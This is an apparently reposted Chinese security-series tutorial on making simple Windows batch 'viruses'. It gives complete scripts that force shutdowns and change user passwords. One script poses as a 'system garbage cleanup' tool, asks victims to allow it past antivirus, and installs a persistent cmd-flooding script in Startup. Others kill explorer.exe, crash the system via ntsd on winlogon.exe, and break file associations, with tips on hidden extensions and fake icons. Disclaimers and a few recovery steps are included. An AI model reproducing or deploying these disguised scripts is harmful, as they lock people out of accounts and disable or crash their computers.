欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  新闻

cmd病毒制作(简易无害的电脑病毒)

程序员文章站 2024-03-27 15:01:58
【编者按】病毒这个不速之客让人谈之色变,它像一个藏在斗篷侠下的黑衣人,被“光顾”的人就会倒霉。本文为作者的网络安全自学教程系列文章之一,将讲解简单的病毒原理知识,并通过批处理代码制作病毒,包括自动启、...

【编者按】病毒这个不速之客让人谈之色变,它像一个藏在斗篷侠下的黑衣人,被“光顾”的人就会倒霉。本文为作者的网络安全自学教程系列文章之一,将讲解简单的病毒原理知识,并通过批处理代码制作病毒,包括自动启、修改密码、定时关机、蓝屏、进程关闭等功能。希望这篇基础文章对大家有所帮助,更希望大家提高安全意识,学会相关防范,也欢迎大家讨论。

cmd病毒制作(简易无害的电脑病毒)

作者 | 杨秀璋

责编 | 夕颜

本文授权转载自csdn博客专家eastmount

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

cmd病毒制作(简易无害的电脑病毒)

一.关机bat脚本

计算机病毒(computer virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。

计算机病毒的生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。计算机病毒是一个程序,一段可执行码。就像生物病毒一样,具有自我繁殖、互相传染以及激活再生等生物病毒特征。计算机病毒有独特的复制能力,它们能够快速蔓延,又常常难以根除。它们能把自身附着在各种类型的文件上,当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。

下面讲解第一个批处理脚本,主要是调用“shutdown”实现关机。其基本步骤如下:

  • 新建文本文档
  • 输入 shutdown -s -t 600
  • 把txt改成bat

如下图所示,运行cmd可以查看shutdown命令的基本用法。

cmd病毒制作(简易无害的电脑病毒)

基本命令为:

1 shutdown -s -t 600
2//现在让系统600秒之后关机
3
4shutdown -a
5//终止关闭计算机

运行结果如下图所示:

cmd病毒制作(简易无害的电脑病毒)

新建“test.bat”并填写“ shutdown -s -t 600”,某些系统需要在“文件夹选项”中,显示“隐藏已知文件类型的扩展名”。

cmd病毒制作(简易无害的电脑病毒)

双击bat文件即运行关机,如果需要取消,还是在cmd黑框中输入“shutdown -a”命令。

cmd病毒制作(简易无害的电脑病毒)
cmd病毒制作(简易无害的电脑病毒)

二.修改密码和定时关机病毒

接下来分享一个比较完整的病毒制作过程。

第一步,新建game.bat文件。

cmd病毒制作(简易无害的电脑病毒)

程序编写如下所示,其中“@echo off”表示关闭回显,“color 0a”表示设置颜色。

 1 @echo off
2color 0a
3title eastmount程序4
5echo ===================================
6echo 菜单
7echo 1.修改管理员密码
8echo 2.定时关机
9echo 3.退出本程序
10echo ===================================
11
12pause

运行结果如下图所示,可以看到标题为“eastmount程序”,并且包含相关内容,这就是批处理文件执行过程。

cmd病毒制作(简易无害的电脑病毒)

第二步,做一个选择判断,该程序需要和用户进行互动。

核心代码为“set /p num=您的选择是:”,其表示设置变量num,“/p”表示暂停并等待用户输入,用户最终输入的值赋为num。

 1 @echo off
2color 0a
3title eastmount程序4
5echo ===================================
6echo 菜单
7echo 1.修改管理员密码
8echo 2.定时关机
9echo 3.退出本程序
10echo ===================================
11
12set /p num=您的选择是:
13
14pause

输出结果如下图所示:

cmd病毒制作(简易无害的电脑病毒)

第三步,补充修改管理员密码、定时关机、退出等命令。

修改管理员密码的命令是微软所有系统的通用命令,下述代码是修改当前管理员密码为“123456”。

1 net user administrator 123456
cmd病毒制作(简易无害的电脑病毒)

第二个选项是关机,命令如下:

1 shutdown -s -t 100

第三个选项是退出本程序。

1 exit

接着编写判断和跳转批处理代码,代码如下所示,“>nul”表示不输出运行提示信息。

 1 @echo off
2color 0a
3title eastmount程序4
5:menu
6echo ===================================7echo 菜单
8echo 1.修改管理员密码
9echo 2.定时关机
10echo 3.退出本程序
11echo ===================================
12
13set /p num=您的选择是:
14if "%num%"=="1" goto 1
15if "%num%"=="2" goto 2
16if "%num%"=="3" goto 3
17
18:1
19net user administrator 123456 > nul
20echo 您的密码已经设置成功!21pause
22goto menu2324:2
25shutdown -s -t 100
26goto menu
2728:3
29exit

此时输入“1”会提示系统错误,如下图所示:

cmd病毒制作(简易无害的电脑病毒)

同时,杀毒软件也会提示黑客修改电脑,点击“允许操作”即可,

cmd病毒制作(简易无害的电脑病毒)

接着增加“cls”命令清屏。同时,为了避免输入数字“4”会从头执行到尾,补充一个提示信息。代码修改如下:

 1 @echo off
2color 0a
3title eastmount程序4
5:menu
6cls7echo ===================================8echo 菜单
9echo 1.修改管理员密码
10echo 2.定时关机
11echo 3.退出本程序
12echo ===================================
13
14set /p num=您的选择是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!请输入1-3正确的数字
20pause
21goto menu2223:1
24net user administrator 123456 >nul
25echo 您的密码已经设置成功!26pause
27goto menu2829:2
30shutdown -s -t 100
31goto menu
3233:3
34exit

此时运行如下图所示:

cmd病毒制作(简易无害的电脑病毒)

继续修改代码,补充设置的用户名和新密码,关机时间等。

 1 @echo off
2color 0a
3title eastmount程序4
5:menu
6cls7echo ===================================8echo 菜单
9echo 1.修改管理员密码
10echo 2.定时关机
11echo 3.退出本程序
12echo ===================================
13
14set /p num=您的选择是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!请输入1-3正确的数字
20pause
21goto menu2223:1
24set /p u=请输入用户名:
25set /p p=请输入新密码:
26net user %u% %p% >nul
27echo 您的密码已经设置成功!28pause
29goto menu3031:2
32set /p time=请输入时间:
33shutdown -s -t %time%
34goto menu
3536:3
37exit

以“管理员身份运行”后,成功修改“xiuzhang”用户的开机密码。

cmd病毒制作(简易无害的电脑病毒)

输入2可以设置关机时间,这里就不再赘述,第一部分已经详细讲解。

cmd病毒制作(简易无害的电脑病毒)

三.自启动死机病毒

接着编写一个伪装成“系统垃圾清理”的代码,它其实是一个导致系统死机的代码,也不能算是“病毒”,更多是一个恶作剧程序。其原理是不断打开cmd程序,占用系统资源从而导致死机,并且每次开机都会自动启。

ps:这里强调一句,建议大家在虚拟机中运行该代码。我们作为安全工程师,希望您们去了解漏洞背后的原理,更好地进行防御,绿色网络需要我们共同维护,杜绝一切违法行为。

第一步,在c:windows目录下创建文件“windows.bat”。一个“>”表示覆盖文件内容,两个“>>”表示追加一句话至文件末尾。

1echo start cmd >c:windowswindows.bat
2echo %0>>c:windowswindows.bat

用户打开这个程序之后,程序就会不断打开cmd,占用系统资源,导致系统瘫痪,%0是再次执行该程序的意思。但是,这样只能让用户死机一次,重启系统以后,不再打开这个文件以后,就不再会中招了。

第二步,将这个恶意脚本放到开机菜单中,每次开机都自动启动运行并导致电脑死机。

errorlevel为预定义变量,随着系统变化而变化。如果为0表示上一条命令执行成功,如果非0表示上一条命令执行失败,它不是win7系统,而执行下面这条命令(xp系统、2003系统)。

cmd病毒制作(简易无害的电脑病毒)

代码“echo.”表示空行,比如代码:

cmd病毒制作(简易无害的电脑病毒)

输出结果如下图所示:

cmd病毒制作(简易无害的电脑病毒)

第三步,接着编写next区域代码,完整代码如下所示。

 1@echo off
2title 系统垃圾清理3color 2f
4echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====5echo.
6echo.
7
8echo start cmd >c:windowswindows.bat
9::echo %%0>>c:windowswindows.bat
1011copy c:windowswindows.bat "%userprofile%appdataroamingmicrosoftwindowsstart menuprogramsstartup">nul
12if %errorlevel%==0 goto next
13
14copy c:windowswindows.bat "%userprofile%「开始」菜单程序启动">nul
15if %errorlevel%==1 goto error
16
17:next
18echo.
19echo.
20echo =====垃圾清理中,请不要关闭窗口=========
21echo.
22ping -n 5 127.0.0.1>nul
23echo.
24echo =====垃圾清理完毕,共清理垃圾500m=======
25echo.
26echo.
27echo =====建议立即重启电脑==========
28pause
29
30:error
31echo.
32echo.
33echo ======程序运行失败,请【使用管理员权限】重新运行!========
34echo.
35pause

注意,我注释了重复操作代码“::echo %%0>>c:windowswindows.bat”,否则开机自启动很麻烦。接着运行代码,如下图所示,需要右键“以管理员身份运行”。

cmd病毒制作(简易无害的电脑病毒)

代码会在c:windwos目录下创建批处理文件“windows.bat”。

cmd病毒制作(简易无害的电脑病毒)

同时,在我的win10系统开机自动动目录下也有该文件。

目录:…appdataroamingmicrosoftwindowsstart menuprogramsstartup

cmd病毒制作(简易无害的电脑病毒)

打开该文件可以看到写入的“start cmd”代码,表示打开cmd。

cmd病毒制作(简易无害的电脑病毒)

双击该“windows.bat”文件,运行结果如下图所示。

cmd病毒制作(简易无害的电脑病毒)

总结:本文编写了一个系统清理工具,其实是把这个windows.bat写到用户的开机自启动目录下,达到用户每次开机,都会运行该程序的目的,重复调用cmd占用资源。如果中了该病毒,用户可以使用pe到开启启动目录把windows.bat文件删除,或者重装系统,再次建议大家别让它重复运行。

cmd病毒制作(简易无害的电脑病毒)

四.进程关闭病毒

再看一个伪装垃圾清理的批处理代码。该命令是杀死进程,“/im explorer.exe”表示要杀死的进程名称,关闭桌面;“/f”表示强制杀死;“>nul”表示在屏幕上不要输出任何信息。

1taskkill /im explorer.exe /f >nul 2>nul

完整代码如下所示,其中“start c:windowsexpolrer.exe”表示继续开启桌面,“ping -n 5 127.0.0.1>nul”用于消耗时间。

 1@echo off
2title 系统垃圾清理
3color 2f
4echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
5echo.
6echo.
7echo.
8echo =====垃圾清理中,请不要关闭窗口=========
9echo.
10ping -n 5 127.0.0.1>nul
11taskkill /im explorer.exe /f >nul 2>nul
12echo.
13echo =====拐了,你的系统已经废了=======
14echo.
15ping -n 5 127.0.0.1>nul
16echo.
17start c:windowsexplorer.exe
18echo.
19echo =====已经修复好!是不是吓坏了!!o(∩_∩)o==========
20pause

运行该批处理程序,桌面会消失,如下图所示。

cmd病毒制作(简易无害的电脑病毒)

过一会桌面又会恢复。由于作者桌面东西太乱,这里仅显示壁纸展示。

cmd病毒制作(简易无害的电脑病毒)
cmd病毒制作(简易无害的电脑病毒)

五.最简单的蓝屏炸弹文件

  • 新建文本文档
  • 输入:ntsd -c q -pn winlogon.exe,表示强制杀死进程
  • 工具->文件夹选项->查看->“隐藏已知文件类型的扩展名”勾选
  • txt修改为bat
  • 开始->程序->启动,打开game.bat文件

黑客很少攻击个人,一般攻击服务器,该命令对2003的服务器特别有杀伤力

cmd病毒制作(简易无害的电脑病毒)

双击之后,服务器直接蓝屏显示并重启。

cmd病毒制作(简易无害的电脑病毒)

ntsd从windows 2000开始就是系统自带的进程调试工具,在system32目录下。ntsd的功能非常的强大,用法也比较复杂,但如果只用来结束一些进程,那就比较简单了。在windows中只有system、smss.exe和csrss.exe不能杀。前两个是纯内核态的,最后那个是win32子系统,ntsd本身需要它。lsass.exe也不要杀掉,它是负责本地账户安全的。被调试器附着的进程会随调试器一起退出,所以可以用来在命令行下终止进程。

打开cmd 后输入以下命令就可以结束进程:

  • 方法一:利用进程的pid结束进程

命令格式:ntsd -c q -p pid

命令范例:ntsd -c q -p 1332 (结束explorer.exe进程)

范例详解:explorer.exe的pid为1332,但是如何获取进程的pid呢?在cmd下输入tasklist就可以获取当前任务管理器所有进程的pid。或者打开任务管理器,在菜单栏,选择“查看”->“选择列”,在打开的选择项窗口中将“pid(进程标识符)”项选择钩上,这样任务管理器的进程中就会多出pid一项了。pid的分配并不固定,是在进程启动是由系统随机分配的,所以进程每次启动的进程一般都不会一样。

  • 方法二:利用进程名结束进程

命令格式:ntsd -c q -pn xxxx.exe (xxxx.exe 为进程名,exe不能省)

命令范例:ntsd -c q -pn explorer.exe

另外的能结束进程的dos命令还有taskkill和tskill命令。

cmd病毒制作(简易无害的电脑病毒)

六.最简单的扩展名病毒

将文件格式修改或文档加密都是常见的病毒,比如永恒之蓝、勒索病毒等,它们就是将电脑内的所有资料、文档加密,当你要打开文件时,需要密码,此时通过比特币付费进行勒索。

下面这个小操作是将exe文件修改为txt文档。当遇到可执行的exe文件,会认为它是一个txt文档,用记事本打开,导致可执行程序运行不起来,这是就是这个病毒的原理。

  • 新建文本文档
  • 增加代码:assoc.exe=txtfile
  • 工具->文件夹选项->查看->“隐藏已知文件类型的扩展名”勾选
  • txt修改为bat
  • 开始->程序->启动,打开bat文件

双击运行bat文件之后,我们的可执行文件就变成了txt文件。此时系统认为exe就是txt程序,把系统的关联搞混乱了,它恢复起来很麻烦。

cmd病毒制作(简易无害的电脑病毒)

exe程序打开如下图所示。

cmd病毒制作(简易无害的电脑病毒)

甚至打开cmd都是txt文本文件。

cmd病毒制作(简易无害的电脑病毒)

接着需要执行下面的命令还原exe文件。

  • assoc.exe=exefile

还原的代码及效果如下图所示。

cmd病毒制作(简易无害的电脑病毒)

其他所有文件格式都转换为txt文件,如下所示。此时,如果隐藏文件扩展名,甚至可以修改图标伪装成目标应用,当用户点击时会执行这些破坏;但由于不知道目标是否有隐藏文件扩展名,还是不建议这种“笨”方法。

1assoc .htm=txtfile
2assoc .dat=txtfile
3assoc .com=txtfile
4assoc .rar=txtfile
5assoc .gho=txtfile
6assoc .mvb=txtfile
7...

解决方法:

如果您不幸中了该病毒,怎么解决呢?如下图所示,还原所有正确关联即可。

cmd病毒制作(简易无害的电脑病毒)

ps:还有一些病毒,比如vbs脚本、网页弹窗(网站钓鱼)等,这里不再讲解,推荐读者阅读前文“[网络安全自学篇] 二十五.web安全学习路线及木马、病毒和防御初探”。如果把病毒程序放到启动项,每次开机都会自动执行。

cmd病毒制作(简易无害的电脑病毒)
cmd病毒制作(简易无害的电脑病毒)
cmd病毒制作(简易无害的电脑病毒)

七.总结

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第44篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!